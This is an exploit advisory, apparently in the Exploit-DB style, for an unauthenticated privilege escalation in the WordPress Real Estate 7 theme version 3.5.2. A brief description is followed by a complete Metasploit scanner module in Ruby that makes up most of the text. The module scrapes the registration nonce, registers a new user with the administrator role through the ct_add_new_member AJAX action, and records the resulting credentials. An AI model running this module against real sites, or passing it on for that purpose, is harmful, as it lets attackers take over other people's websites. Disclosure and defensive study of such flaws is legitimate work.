=============================================================================================================================================
| # Title     : WordPress Real Estate 7 3.5.2 User Registration Privilege Escalation via ct_add_new_member AJAX Action                      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
| # Vendor    : https://mhthemes.com/wp-themes/wp-pro-real-estate-7-wordpress-theme/                                                        |
=============================================================================================================================================

[+] Summary    :  This Metasploit auxiliary scanner module targets a privilege escalation vulnerability in certain WordPress installations. 
                  The flaw allows unauthenticated attackers to register a new user account with administrator privileges by abusing the ct_add_new_member AJAX action.

[+] The module works by: Initial Probe Sending a request to the WordPress registration page to detect the presence of vulnerable components such as:

ct_add_new_member

ct_register_nonce

[+] Nonce Extraction Parsing the registration page using flexible regular expressions to extract a valid registration nonce.

[+] Privilege Escalation Attempt Submitting a crafted POST request to /wp-admin/admin-ajax.php with:

ct_user_role set to administrator

The extracted nonce

Attacker-controlled username, email, and password

[+] Strict Success Validation Verifying exploitation success by:

Checking for HTTP 200 response

Ensuring Content-Type includes application/json

Parsing JSON response and validating multiple success patterns (true, "true", 1)


[+] POC   :  

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'json'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress User Registration Privilege Escalation',
        'Description' => %q{
          Exploits a vulnerability in WordPress allowing administrator registration
          via the 'ct_add_new_member' AJAX action.
        },
        'Author' => ['indoushka'],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2024-01-01',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
        OptString.new('USERNAME_PREFIX', [true, 'Prefix for generated usernames', 'wp_admin_']),
        OptString.new('PASSWORD', [true, 'Password for the new user', 'P@ssw0rd123!']),
      ]
    )
  end

  def run_host(ip)
    username = "#{datastore['USERNAME_PREFIX']}#{Rex::Text.rand_text_alpha(5).downcase}"
    email = "#{username}@example.com"
    password = datastore['PASSWORD']

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'register'),
      'method' => 'GET'
    })

    return unless res && res.code == 200
    unless res.body =~ /ct_add_new_member|ct_register_nonce/i
      vprint_error("#{ip} - Target does not appear to have the vulnerable component.")
      return
    end

    nonce = extract_nonce(res.body)
    unless nonce
      vprint_error("#{ip} - Nonce not found (Registration might be disabled or hidden)")
      return
    end

    print_status("#{ip} - Found nonce: #{nonce}. Registering admin: #{username}")
    exploit_res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'method' => 'POST',
      'vars_post' => {
        'action'               => 'ct_add_new_member',
        'ct_user_login'        => username,
        'ct_user_email'        => email,
        'ct_user_pass'         => password,
        'ct_user_pass_confirm' => password,
        'ct_user_role'         => 'administrator',
        'ct_register_nonce'    => nonce,
        'ct_user_terms'        => 'on'
      }
    })

    if exploit_res && exploit_res.code == 200
      return unless exploit_res.headers['Content-Type']&.include?('json')

      begin
        json = JSON.parse(exploit_res.body)
        if json['success'] == true || json['success'].to_s == 'true' || json['success'].to_i == 1
          print_good("#{ip} - SUCCESS! Admin account created.")
          report_admin_cred(ip, username, password)
        else
          vprint_error("#{ip} - Failed: #{json['data'] || json['message'] || 'Unknown error'}")
        end
      rescue JSON::ParserError
        vprint_error("#{ip} - Response was not valid JSON.")
      end
    end
  end

  def extract_nonce(body)
    patterns = [
      /<input[^>]+(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["'][^>]*value=["']([A-Za-z0-9_-]+)["']/im,
      /<input[^>]+value=["']([A-Za-z0-9_-]+)["'][^>]*(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["']/im
    ]

    patterns.each do |pattern|
      return $1 if body =~ pattern
    end
    nil
  end

  def report_admin_cred(ip, user, pass)
    service_data = {
      address: ip,
      port: rport,
      protocol: 'tcp',
      service_name: (ssl ? 'https' : 'http'),
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: self.fullname,
      private_type: :password,
      private_data: pass,
      username: user,
      realm_key: Metasploit::Model::Realm::Key::HTTP_HOST,
      realm_value: ip
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    create_credential_login({
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data))
  end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================